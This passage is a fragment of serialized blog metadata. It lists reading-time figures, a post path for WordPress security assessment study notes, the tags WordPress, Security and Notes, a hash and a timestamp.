read",9.65,579000,1930,{"title":5,"description":1260},{"loc":1267},"posts\u002F2026\u002Fwordpress-安全评估学习笔记",[1277,1278,1279],"WordPress","Security","Notes","tech","QRAaT9KOWyZzs5p2Qibl7JTmzh3VZ7R6H4eV-oOJ9Mw",[1263,1263],1786294717517]